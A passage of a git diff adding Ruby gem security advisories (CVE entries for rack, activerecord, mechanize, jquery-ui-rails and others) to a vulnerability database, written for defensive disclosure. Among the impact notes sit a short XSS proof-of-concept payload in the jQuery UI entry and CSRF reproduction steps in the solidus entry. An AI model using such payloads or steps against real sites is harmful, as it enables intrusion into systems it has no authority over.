+    - https://github.com/jetruby/apollo_upload_server-ruby/pull/44
+    - https://github.com/jetruby/apollo_upload_server-ruby/commit/b0582c1a3e458eee3c994fb38278bd0221f20486
+    - https://github.com/jetruby/apollo_upload_server-ruby/releases/tag/2.1.0
+    - https://gitlab.com/gitlab-org/gitlab/-/issues/330561#note_642879964
+    - https://vuldb.com/?id.183842
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2022-1810.md b/advisories/_posts/2022-05-24-CVE-2022-1810.md
new file mode 100644
index 00000000..82e8159d
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2022-1810.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2022-1810 (publify_core): Improper Access Control in publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2022-1810
+  ghsa: c273-c6vg-4pv5
+  url: https://github.com/publify/publify/commit/c0aba87844d1e47da50c0d99a3465164a4d244ce
+  title: Improper Access Control in publify
+  date: 2022-05-24
+  description: |
+    A low-privileged user can modify and delete admin articles just by changing
+    the value of the article[id] parameter prior to 9.2.9.
+  cvss_v3: 4.3
+  patched_versions:
+  - ">= 9.2.9"
+  related:
+    url:
+    - https://huntr.dev/bounties/9b2d7579-032e-42da-b736-4b10a868eacb
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2022-1811.md b/advisories/_posts/2022-05-24-CVE-2022-1811.md
new file mode 100644
index 00000000..add9afeb
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2022-1811.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2022-1811 (publify_core): Cross site scripting in publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2022-1811
+  ghsa: 3hwx-c6cp-q972
+  url: https://github.com/publify/publify/commit/0fb6b027fbaf17f6a6551f2148482a03eac12927
+  title: Cross site scripting in publify
+  date: 2022-05-24
+  description: |
+    Unrestricted file upload allowed the attacker to manipulate the request
+    and bypass the protection of HTML files using a text file. Stored XSS may be obtained.
+  cvss_v3: 9.1
+  patched_versions:
+  - ">= 9.2.9"
+  related:
+    url:
+    - https://huntr.dev/bounties/4d97f665-c9f1-4c38-b774-692255a7c44c
+---
diff --git a/advisories/_posts/2022-06-01-CVE-2022-31000.md b/advisories/_posts/2022-06-01-CVE-2022-31000.md
new file mode 100644
index 00000000..d8cd8488
--- /dev/null
+++ b/advisories/_posts/2022-06-01-CVE-2022-31000.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2022-31000 (solidus_backend): CSRF allows attacker to finalize/unfinalize
+  order adjustments in solidus_backend'
+comments: false
+categories:
+- solidus_backend
+advisory:
+  gem: solidus_backend
+  cve: 2022-31000
+  ghsa: 8639-qx56-r428
+  url: https://github.com/solidusio/solidus/security/advisories/GHSA-8639-qx56-r428
+  title: CSRF allows attacker to finalize/unfinalize order adjustments in solidus_backend
+  date: 2022-06-01
+  description: |
+    ### Impact
+    CSRF vulnerability allowing attackers to change the state of an order's adjustments
+    if they hold its number, and the execution happens on a store administrator's computer.
+
+    Reproduction steps:
+    - Take an order's number.
+    - Log in as an administrator.
+    - Visit that order's adjustments section (_Orders -> {Click on number} -> Adjustments_) and check that its adjustments are finalized (closed padlock under the **State** column).
+    - On another tab, visit `{your_site_url}/admin/orders/{order_number}/adjustments/unfinalize`.
+    - Notice how the adjustments are unfinalized (open padlock), even if the previous was a `GET` request which could have been linked from any other site.
+    - Visit `{your_site_url}/admin/orders/{order_number}/adjustments/finalize`.
+    - Notice how the adjustments are again finalized.
+
+    That happened because both routes were handled as `GET` requests, which are skipped by Rails anti-forgery protection.
+
+    ### Patches
+    Users should upgrade to solidus_backend v3.1.6, v3.0.6, or v2.11.16, depending on the major and minor versions in use.
+
+    ### References
+    - [Rails CSRF protection](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html).
+  cvss_v3: 2.3
+  patched_versions:
+  - "~> 2.11.16"
+  - "~> 3.0.6"
+  - ">= 3.1.6"
+  related:
+    url:
+    - https://github.com/solidusio/solidus/commit/de796a2e0be7f154cae48b46e267501559d9716c
+---
diff --git a/advisories/_posts/2022-06-03-CVE-2021-33473.md b/advisories/_posts/2022-06-03-CVE-2021-33473.md
new file mode 100644
index 00000000..0eb19f32
--- /dev/null
+++ b/advisories/_posts/2022-06-03-CVE-2021-33473.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2021-33473 (dragonfly): Arbitrary file write in dragonfly'
+comments: false
+categories:
+- dragonfly
+advisory:
+  gem: dragonfly
+  cve: 2021-33473
+  ghsa: fj34-jhjx-xmvv
+  url: https://github.com/markevans/dragonfly/issues/513
+  title: Arbitrary file write in dragonfly
+  date: 2022-06-03
+  description: |
+    An argument injection vulnerability in Dragonfly Ruby Gem v1.3.0 allows
+    attackers to read and write arbitrary files when the verify_url option is disabled.
+    This vulnerability is exploited via a crafted URL.
+  cvss_v3: 9.1
+  patched_versions:
+  - ">= 1.4.0"
+  related:
+    url:
+    - https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5
+---
diff --git a/advisories/_posts/2022-06-06-CVE-2022-31026.md b/advisories/_posts/2022-06-06-CVE-2022-31026.md
new file mode 100644
index 00000000..217e8cc6
--- /dev/null
+++ b/advisories/_posts/2022-06-06-CVE-2022-31026.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2022-31026 (trilogy): Use of Uninitialized Variable in trilogy'
+comments: false
+categories:
+- trilogy
+advisory:
+  gem: trilogy
+  cve: 2022-31026
+  ghsa: 5g4r-2qhx-vqfm
+  url: https://github.com/github/trilogy/security/advisories/GHSA-5g4r-2qhx-vqfm
+  title: Use of Uninitialized Variable in trilogy
+  date: 2022-06-06
+  description: |
+    ### Impact
+
+    When authenticating, a malicious server could return a specially crafted authentication
+    packet, causing the client to read and return up to 12 bytes of data from an
+    uninitialized variable in stack memory.
+
+    ### Patches
+
+    Users of the trilogy gem should upgrade to version 2.1.1
+
+    ### Workarounds
+
+    This issue can be avoided by only connecting to trusted servers.
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 2.1.1"
+  related:
+    url:
+    - https://github.com/github/trilogy/commit/6bed62789eaf119902b0fe247d2a91d56c31a962
+---
diff --git a/advisories/_posts/2022-06-07-CVE-2022-32511.md b/advisories/_posts/2022-06-07-CVE-2022-32511.md
new file mode 100644
index 00000000..09de508b
--- /dev/null
+++ b/advisories/_posts/2022-06-07-CVE-2022-32511.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2022-32511 (jmespath): JMESPath for Ruby using JSON.load instead of JSON.parse'
+comments: false
+categories:
+- jmespath
+advisory:
+  gem: jmespath
+  cve: 2022-32511
+  ghsa: 5c5f-7vfq-3732
+  url: https://github.com/jmespath/jmespath.rb/pull/55
+  title: JMESPath for Ruby using JSON.load instead of JSON.parse
+  date: 2022-06-07
+  description: |
+    jmespath.rb (aka JMESPath for Ruby) before 1.6.1 uses JSON.load in a
+    situation where JSON.parse is preferable.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.6.1"
+  related:
+    url:
+    - https://github.com/jmespath/jmespath.rb/compare/v1.6.0...v1.6.1
+    - https://stackoverflow.com/a/30050571/580231
+---
diff --git a/advisories/_posts/2022-06-09-CVE-2022-31033.md b/advisories/_posts/2022-06-09-CVE-2022-31033.md
new file mode 100644
index 00000000..f81c2c95
--- /dev/null
+++ b/advisories/_posts/2022-06-09-CVE-2022-31033.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2022-31033 (mechanize): Authorization header leak on port redirect in
+  mechanize'
+comments: false
+categories:
+- mechanize
+advisory:
+  gem: mechanize
+  cve: 2022-31033
+  ghsa: 64qm-hrgp-pgr9
+  url: https://github.com/sparklemotion/mechanize/security/advisories/GHSA-64qm-hrgp-pgr9
+  title: Authorization header leak on port redirect in mechanize
+  date: 2022-06-09
+  description: |
+    **Summary**
+
+    Mechanize (rubygem) `< v2.8.5` leaks the `Authorization` header after a
+    redirect to a different port on the same site.
+
+    **Mitigation**
+
+    Upgrade to Mechanize v2.8.5 or later.
+
+    **Notes**
+
+    See [https://curl.se/docs/CVE-2022-27776.html](CVE-2022-27776) for a similar vulnerability in curl.
+
+    Cookies are shared with a server at a different port on the same site, per
+    https://datatracker.ietf.org/doc/html/rfc6265#section-8.5 which states in part:
+
+    > Cookies do not provide isolation by port.  If a cookie is readable
+    > by a service running on one port, the cookie is also readable by a
+    > service running on another port of the same server.  If a cookie is
+    > writable by a service on one port, the cookie is also writable by a
+    > service running on another port of the same server.  For this
+    > reason, servers SHOULD NOT both run mutually distrusting services on
+    > different ports of the same host and use cookies to store security-
+    > sensitive information.
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 2.8.5"
+  related:
+    url:
+    - https://github.com/sparklemotion/mechanize/commit/c7fe6996a5b95f9880653ba3bc548a8d4ef72317
+---
diff --git a/advisories/_posts/2022-06-09-CVE-2022-32209.md b/advisories/_posts/2022-06-09-CVE-2022-32209.md
new file mode 100644
index 00000000..86c8b385
--- /dev/null
+++ b/advisories/_posts/2022-06-09-CVE-2022-32209.md
@@ -0,0 +1,70 @@
+---
+layout: advisory
+title: 'CVE-2022-32209 (rails-html-sanitizer): Possible XSS vulnerability with certain
+  configurations of Rails::Html::Sanitizer'
+comments: false
+categories:
+- rails-html-sanitizer
+advisory:
+  gem: rails-html-sanitizer
+  cve: 2022-32209
+  ghsa: pg8v-g4xq-hww9
+  url: https://groups.google.com/g/rubyonrails-security/c/ce9PhUANQ6s
+  title: Possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer
+  date: 2022-06-09
+  description: |
+    There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.
+    This vulnerability has been assigned the CVE identifier CVE-2022-32209.
+
+    Versions Affected: ALL
+    Not affected: NONE
+    Fixed Versions: v1.4.3
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer
+    may allow an attacker to inject content if the application developer has overridden
+    the sanitizer's allowed tags to allow both `select` and `style` elements.
+
+    Code is only impacted if allowed tags are being overridden. This may be done via
+    application configuration:
+
+    ```ruby
+    # In config/application.rb
+    config.action_view.sanitized_allowed_tags = ["select", "style"]
+    ```
+
+    see https://guides.rubyonrails.org/configuring.html#configuring-action-view
+
+    Or it may be done with a `:tags` option to the Action View helper `sanitize`:
+
+    ```
+    <%= sanitize @comment.body, tags: ["select", "style"] %>
+    ```
+
+    see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
+
+    Or it may be done with Rails::Html::SafeListSanitizer directly:
+
+    ```ruby
+    # class-level option
+    Rails::Html::SafeListSanitizer.allowed_tags = ["select", "style"]
+    ```
+
+    or
+
+    ```ruby
+    # instance-level option
+    Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["select", "style"])
+    ```
+
+    All users overriding the allowed tags by any of the above mechanisms to include
+    both "select" and "style" should either upgrade or use one of the workarounds immediately.
+
+    ## Workarounds
+
+    Remove either `select` or `style` from the overridden allowed tags.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.4.3"
+---
diff --git a/advisories/_posts/2022-06-10-CVE-2022-32209.md b/advisories/_posts/2022-06-10-CVE-2022-32209.md
new file mode 100644
index 00000000..0c6ac76a
--- /dev/null
+++ b/advisories/_posts/2022-06-10-CVE-2022-32209.md
@@ -0,0 +1,75 @@
+---
+layout: advisory
+title: 'CVE-2022-32209 (rails-html-sanitizer): Possible XSS vulnerability with certain
+  configurations of Rails::Html::Sanitizer'
+comments: false
+categories:
+- rails-html-sanitizer
+advisory:
+  gem: rails-html-sanitizer
+  cve: 2022-32209
+  url: https://groups.google.com/g/rubyonrails-security/c/ce9PhUANQ6s
+  title: Possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer
+  date: 2022-06-10
+  description: |
+    There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.
+    This vulnerability has been assigned the CVE identifier CVE-2022-32209.
+
+    Versions Affected: ALL
+    Not affected: NONE
+    Fixed Versions: v1.4.3
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of
+    Rails::Html::Sanitizer may allow an attacker to inject content if the
+    application developer has overridden the sanitizer's allowed tags to allow
+    both `select` and `style` elements.
+
+    Code is only impacted if allowed tags are being overridden. This may be done via application configuration:
+
+    ```ruby
+    # In config/application.rb
+    config.action_view.sanitized_allowed_tags = ["select", "style"]
+    ```
+
+    see https://guides.rubyonrails.org/configuring.html#configuring-action-view
+
+    Or it may be done with a `:tags` option to the Action View helper `sanitize`:
+
+    ```
+    <%= sanitize @comment.body, tags: ["select", "style"] %>
+    ```
+
+    see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
+
+    Or it may be done with Rails::Html::SafeListSanitizer directly:
+
+    ```ruby
+    # class-level option
+    Rails::Html::SafeListSanitizer.allowed_tags = ["select", "style"]
+    ```
+
+    or
+
+    ```ruby
+    # instance-level option
+    Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["select", "style"])
+    ```
+
+    All users overriding the allowed tags by any of the above mechanisms to include both "select" and "style" should either upgrade or use one of the workarounds immediately.
+
+    ## Releases
+
+    The FIXED releases are available at the normal locations.
+
+    ## Workarounds
+
+    Remove either `select` or `style` from the overridden allowed tags.
+
+    ## Credits
+
+    This vulnerability was responsibly reported by [windshock](https://hackerone.com/windshock?type=user).
+  patched_versions:
+  - ">= 1.4.3"
+---
diff --git a/advisories/_posts/2022-06-15-CVE-2022-31071.md b/advisories/_posts/2022-06-15-CVE-2022-31071.md
new file mode 100644
index 00000000..412b7e12
--- /dev/null
+++ b/advisories/_posts/2022-06-15-CVE-2022-31071.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2022-31071 (octopoller): Octopoller gem published with world-writable
+  files'
+comments: false
+categories:
+- octopoller
+advisory:
+  gem: octopoller
+  cve: 2022-31071
+  ghsa: 26qj-cr27-r5c4
+  url: https://github.com/octokit/octopoller.rb/security/advisories/GHSA-26qj-cr27-r5c4
+  title: Octopoller gem published with world-writable files
+  date: 2022-06-15
+  description: |
+    ### Impact
+
+    Version [0.2.0](https://rubygems.org/gems/octopoller/versions/0.2.0)
+    of the octopoller gem was published containing world-writeable files. Specifically,
+    the gem was packed with files having their permissions set to `-rw-rw-rw-` (i.e.
+    0666) instead of `rw-r--r--` (i.e. 0644).
+
+    This means everyone who is not the owner (Group and Public) with access to the
+    instance where this release had been installed could modify the world-writable
+    files from this gem.
+
+    Malicious code already present and running on your machine, separate from this
+    package, could modify the gem’s files and change its behavior during runtime.
+
+    ### Patches
+    * octopoller v0.3.0
+
+    ### Workarounds
+    Users can use the previous version of the gem [v0.1.0](https://rubygems.org/gems/octopoller/versions/0.1.0).
+    Alternatively, users can modify the file permissions manually until they are able
+    to upgrade to the latest version.
+  cvss_v3: 2.5
+  unaffected_versions:
+  - "< 0.2.0"
+  patched_versions:
+  - ">= 0.3.0"
+---
diff --git a/advisories/_posts/2022-06-15-CVE-2022-31072.md b/advisories/_posts/2022-06-15-CVE-2022-31072.md
new file mode 100644
index 00000000..2054b370
--- /dev/null
+++ b/advisories/_posts/2022-06-15-CVE-2022-31072.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2022-31072 (octokit): Octokit gem published with world-writable files'
+comments: false
+categories:
+- octokit
+advisory:
+  gem: octokit
+  cve: 2022-31072
+  ghsa: g28x-pgr3-qqx6
+  url: https://github.com/octokit/octokit.rb/security/advisories/GHSA-g28x-pgr3-qqx6
+  title: Octokit gem published with world-writable files
+  date: 2022-06-15
+  description: |
+    ### Impact
+
+    Versions [4.23.0](https://rubygems.org/gems/octokit/versions/4.23.0)
+    and [4.24.0](https://rubygems.org/gems/octokit/versions/4.24.0) of the octokit gem
+    were published containing world-writeable files.
+
+    Specifically, the gem was packed
+    with files having their permissions set to `-rw-rw-rw-` (i.e. 0666) instead of `rw-r--r--`
+    (i.e. 0644). This means everyone who is not the owner (Group and Public) with access
+    to the instance where this release had been installed could modify the world-writable
+    files from this gem.
+
+    Malicious code already present and running on your machine,
+    separate from this package, could modify the gem’s files and change its behavior
+    during runtime.
+
+    ### Patches
+
+    * [octokit 4.25.0](https://rubygems.org/gems/octokit/versions/4.25.0)
+
+    ### Workarounds
+    Users can use the previous version of the gem [v4.22.0](https://rubygems.org/gems/octokit/versions/4.22.0).
+    Alternatively, users can modify the file permissions manually until they are able
+    to upgrade to the latest version.
+  cvss_v3: 2.5
+  unaffected_versions:
+  - "< 4.23.0"
+  patched_versions:
+  - ">= 4.25.0"
+  related:
+    url:
+    - https://github.com/octokit/octokit.rb/commit/1c8edecc9cf23d1ceb959d91a416a69f55ce7d55
+---
diff --git a/advisories/_posts/2022-06-24-CVE-2022-33127.md b/advisories/_posts/2022-06-24-CVE-2022-33127.md
new file mode 100644
index 00000000..fc799410
--- /dev/null
+++ b/advisories/_posts/2022-06-24-CVE-2022-33127.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2022-33127 (diffy): Improper handling of double quotes in file name in
+  Diffy in Windows environment'
+comments: false
+categories:
+- diffy
+advisory:
+  gem: diffy
+  cve: 2022-33127
+  ghsa: 5ww9-9qp2-x524
+  url: https://github.com/samg/diffy/commit/478f392082b66d38f54a02b4bb9c41be32fd6593
+  title: Improper handling of double quotes in file name in Diffy in Windows environment
+  date: 2022-06-24
+  description: |
+    The function that calls the diff tool in versions of Diffy prior to 3.4.1
+    does not properly handle double quotes in a filename when run in a Windows environment.
+    This allows attackers to execute arbitrary commands via a crafted string.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 3.4.1"
+  related:
+    url:
+    - https://github.com/samg/diffy/blob/56fd935aea256742f7352b050592542d3d153bf6/CHANGELOG#L1
+---
diff --git a/advisories/_posts/2022-06-27-CVE-2022-30122.md b/advisories/_posts/2022-06-27-CVE-2022-30122.md
new file mode 100644
index 00000000..87e85d32
--- /dev/null
+++ b/advisories/_posts/2022-06-27-CVE-2022-30122.md
@@ -0,0 +1,54 @@
+---
+layout: advisory
+title: 'CVE-2022-30122 (rack): Denial of Service Vulnerability in Rack Multipart Parsing'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2022-30122
+  ghsa: hxqx-xwvh-44m2
+  url: https://groups.google.com/g/ruby-security-ann/c/L2Axto442qk
+  title: Denial of Service Vulnerability in Rack Multipart Parsing
+  date: 2022-06-27
+  description: |
+    There is a possible denial of service vulnerability in the multipart parsing
+    component of Rack.  This vulnerability has been assigned the CVE identifier
+    CVE-2022-30122.
+
+    Versions Affected:  >= 1.2
+    Not affected:       < 1.2
+    Fixed Versions:     2.0.9.1, 2.1.4.1, 2.2.3.1
+
+    ## Impact
+    Carefully crafted multipart POST requests can cause Rack's multipart parser to
+    take much longer than expected, leading to a possible denial of service
+    vulnerability.
+
+    Impacted code will use Rack's multipart parser to parse multipart posts.  This
+    includes directly using the multipart parser like this:
+
+    ```
+    params = Rack::Multipart.parse_multipart(env)
+    ```
+
+    But it also includes reading POST data from a Rack request object like this:
+
+    ```
+    p request.POST # read POST data
+    p request.params # reads both query params and POST data
+    ```
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    ## Workarounds
+    There are no feasible workarounds for this issue.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 1.2"
+  patched_versions:
+  - "~> 2.0.9, >= 2.0.9.1"
+  - "~> 2.1.4, >= 2.1.4.1"
+  - ">= 2.2.3.1"
+---
diff --git a/advisories/_posts/2022-06-27-CVE-2022-30123.md b/advisories/_posts/2022-06-27-CVE-2022-30123.md
new file mode 100644
index 00000000..09e44ddb
--- /dev/null
+++ b/advisories/_posts/2022-06-27-CVE-2022-30123.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'CVE-2022-30123 (rack): Possible shell escape sequence injection vulnerability
+  in Rack'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2022-30123
+  ghsa: wq4h-7r42-5hrr
+  url: https://groups.google.com/g/ruby-security-ann/c/LWB10kWzag8
+  title: Possible shell escape sequence injection vulnerability in Rack
+  date: 2022-06-27
+  description: |
+    There is a possible shell escape sequence injection vulnerability in the Lint
+    and CommonLogger components of Rack.  This vulnerability has been assigned the
+    CVE identifier CVE-2022-30123.
+
+    Versions Affected:  All.
+    Not affected:       None
+    Fixed Versions:     2.0.9.1, 2.1.4.1, 2.2.3.1
+
+    ## Impact
+    Carefully crafted requests can cause shell escape sequences to be written to
+    the terminal via Rack's Lint middleware and CommonLogger middleware.  These
+    escape sequences can be leveraged to possibly execute commands in the victim's
+    terminal.
+
+    Impacted applications will have either of these middleware installed, and
+    vulnerable apps may have something like this:
+
+    ```
+    use Rack::Lint
+    ```
+
+    Or
+
+    ```
+    use Rack::CommonLogger
+    ```
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    ## Workarounds
+    Remove these middleware from your application
+  cvss_v3: 10.0
+  patched_versions:
+  - "~> 2.0.9, >= 2.0.9.1"
+  - "~> 2.1.4, >= 2.1.4.1"
+  - ">= 2.2.3.1"
+---
diff --git a/advisories/_posts/2022-06-28-CVE-2021-3779.md b/advisories/_posts/2022-06-28-CVE-2021-3779.md
new file mode 100644
index 00000000..482097dc
--- /dev/null
+++ b/advisories/_posts/2022-06-28-CVE-2021-3779.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2021-3779 (ruby-mysql): ruby-mysql Client File Read'
+comments: false
+categories:
+- ruby-mysql
+advisory:
+  gem: ruby-mysql
+  cve: 2021-3779
+  ghsa: 73pr-g6jj-5hc9
+  url: https://www.rapid7.com/blog/post/2022/06/28/cve-2021-3779-ruby-mysql-gem-client-file-read-fixed/
+  title: ruby-mysql Client File Read
+  date: 2022-06-28
+  description: |
+    A malicious MySQL server can request local file content from a client using ruby-mysql prior to version
+    2.10.0 without explicit authorization from the user. This issue was resolved in version 2.10.0 and
+    later.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 2.10.0"
+  related:
+    url:
+    - https://github.com/rubysec/ruby-advisory-db/issues/507
+    - https://my.diffend.io/gems/ruby-mysql/2.9.14/2.10.0#d2h-806753-331
+---
diff --git a/advisories/_posts/2022-07-05-CVE-2022-31115.md b/advisories/_posts/2022-07-05-CVE-2022-31115.md
new file mode 100644
index 00000000..30e1ae2e
--- /dev/null
+++ b/advisories/_posts/2022-07-05-CVE-2022-31115.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2022-31115 (opensearch-ruby): Unsafe YAML deserialization in opensearch-ruby'
+comments: false
+categories:
+- opensearch-ruby
+advisory:
+  gem: opensearch-ruby
+  cve: 2022-31115
+  ghsa: 977c-63xq-cgw3
+  url: https://github.com/opensearch-project/opensearch-ruby/security/advisories/GHSA-977c-63xq-cgw3
+  title: Unsafe YAML deserialization in opensearch-ruby
+  date: 2022-07-05
+  description: |
+    ### Impact
+    A YAML deserialization in opensearch-ruby 2.0.0 can lead to unsafe deserialization using
+    YAML.load if the response is of type YAML.
+
+    ### Patches
+    The problem has been patched in opensearch-ruby gem version 2.0.2.
+
+    ### Workarounds
+    No viable workaround.  Please upgrade to 2.0.2
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 2.0.2"
+  related:
+    url:
+    - https://github.com/opensearch-project/opensearch-ruby/pull/77
+    - https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/
+---
diff --git a/advisories/_posts/2022-07-12-CVE-2022-32224.md b/advisories/_posts/2022-07-12-CVE-2022-32224.md
new file mode 100644
index 00000000..5e738306
--- /dev/null
+++ b/advisories/_posts/2022-07-12-CVE-2022-32224.md
@@ -0,0 +1,87 @@
+---
+layout: advisory
+title: 'CVE-2022-32224 (activerecord): Possible RCE escalation bug with Serialized
+  Columns in Active Record'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2022-32224
+  ghsa: 3hhc-qp5v-9p2j
+  url: https://groups.google.com/g/rubyonrails-security/c/MmFO3LYQE8U
+  title: Possible RCE escalation bug with Serialized Columns in Active Record
+  date: 2022-07-12
+  description: |
+    There is a possible escalation to RCE when using YAML serialized columns in
+    Active Record. This vulnerability has been assigned the CVE identifier
+    CVE-2022-32224.
+
+    Versions Affected:  All.
+    Not affected:       None
+    Fixed Versions:     7.0.3.1, 6.1.6.1, 6.0.5.1, 5.2.8.1
+
+    Impact
+    ------
+    When serialized columns that use YAML (the default) are deserialized, Rails
+    uses `YAML.unsafe_load` to convert the YAML data in to Ruby objects.  If an
+    attacker can manipulate data in the database (via means like SQL injection),
+    then it may be possible for the attacker to escalate to an RCE.
+
+    Impacted Active Record models will look something like this:
+
+    ```ruby
+    class User < ApplicationRecord
+      serialize :options       # Vulnerable: Uses YAML for serialization
+      serialize :values, Array # Vulnerable: Uses YAML for serialization
+      serialize :values, JSON  # Not vulnerable
+    end
+    ```
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The FIXED releases are available at the normal locations.
+
+    The released versions change the default YAML deserializer to use
+    `YAML.safe_load`, which prevents deserialization of possibly dangerous
+    objects.  This may introduce backwards compatibility issues with existing
+    data.
+
+    In order to cope with that situation, the released version also contains two
+    new Active Record configuration options.  The configuration options are as
+    follows:
+
+    * `config.active_record.use_yaml_unsafe_load`
+
+    When set to true, this configuration option tells Rails to use the old
+    "unsafe" YAML loading strategy, maintaining the existing behavior but leaving
+    the possible escalation vulnerability in place.  Setting this option to true
+    is *not* recommended, but can aid in upgrading.
+
+    * `config.active_record.yaml_column_permitted_classes`
+
+    The "safe YAML" loading method does not allow all classes to be deserialized
+    by default.  This option allows you to specify classes deemed "safe" in your
+    application.  For example, if your application uses Symbol and Time in
+    serialized data, you can add Symbol and Time to the allowed list as follows:
+
+    ```
+    config.active_record.yaml_column_permitted_classes = [Symbol, Date, Time]
+    ```
+
+    Workarounds
+    -----------
+    There are no feasible workarounds for this issue, but other coders (such as
+    JSON) are not impacted.
+  cvss_v3: 9.8
+  patched_versions:
+  - "~> 5.2.8, >= 5.2.8.1"
+  - "~> 6.0.5, >= 6.0.5.1"
+  - "~> 6.1.6, >= 6.1.6.1"
+  - ">= 7.0.3.1"
+---
diff --git a/advisories/_posts/2022-07-15-CVE-2022-31160.md b/advisories/_posts/2022-07-15-CVE-2022-31160.md
new file mode 100644
index 00000000..152a28d2
--- /dev/null
+++ b/advisories/_posts/2022-07-15-CVE-2022-31160.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2022-31160 (jquery-ui-rails): jQuery UI vulnerable to XSS when refreshing
+  a checkboxradio with an HTML-like initial text label'
+comments: false
+categories:
+- jquery-ui-rails
+advisory:
+  gem: jquery-ui-rails
+  cve: 2022-31160
+  ghsa: h6gj-6jjq-h8g9
+  url: https://github.com/jquery/jquery-ui/security/advisories/GHSA-h6gj-6jjq-h8g9
+  title: jQuery UI vulnerable to XSS when refreshing a checkboxradio with an HTML-like
+    initial text label
+  date: 2022-07-15
+  description: "### Impact\nInitializing a checkboxradio widget on an input enclosed
+    within a label makes\nthat parent label contents considered as the input label.
+    If you call\n`.checkboxradio( \"refresh\" )` on such a widget and the initial
+    HTML contained\nencoded HTML entities, they will erroneously get decoded. This
+    can lead to\npotentially executing JavaScript code.\n\nFor example, starting with
+    the following initial secure HTML:\n\n```html\n<label>\n\t<input id=\"test-input\">\n\t&lt;img
+    src=x onerror=\"alert(1)\"&gt;\n</label>\n```\n\nand calling:\n\n```javascript\n$(
+    \"#test-input\" ).checkboxradio();\n$( \"#test-input\" ).checkboxradio( \"refresh\"
+    );\n```\n\nwill turn the initial HTML into:\n\n```html\n<label>\n\t<!-- some jQuery
+    UI elements -->\n\t<input id=\"test-input\">\n\t<img src=x onerror=\"alert(1)\">\n</label>\n```\n\nand
+    the alert will get executed.\n\n### Patches\nThe bug has been patched in jQuery
+    UI 1.13.2.\n\n### Workarounds\nTo remediate the issue, if you can change the initial
+    HTML, you can wrap all\nthe non-input contents of the `label` in a `span`:\n\n```html\n<label>\n\t<input
+    id=\"test-input\">\n\t<span>&lt;img src=x onerror=\"alert(1)\"&gt;</span>\n</label>\n```\n\n###
+    References\nhttps://blog.jqueryui.com/2022/07/jquery-ui-1-13-2-released/\n\n###
+    For more information\nIf you have any questions or comments about this advisory,
+    search for a\nrelevant issue in [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc).\nIf
+    you don't find an answer, open a new issue.\n"
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 8.0.0"
+  related:
+    url:
+    - https://github.com/jquery/jquery-ui/security/advisories/GHSA-h6gj-6jjq-h8g9
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-31160
+    - https://github.com/advisories/GHSA-h6gj-6jjq-h8g9#:~:text=https%3A//nvd.nist,12/msg00015.html
+    - https://blog.jqueryui.com/2022/07/jquery-ui-1-13-2-released/
+    - https://www.drupal.org/sa-contrib-2022-052
+    - https://security.netapp.com/advisory/ntap-20220909-0007/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6XBR3G3JR5ZIOJDO4224M3INXDS2VFDD/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/J5LGNTICB5BRFAG3DHVVELS6H3CZSQMO/
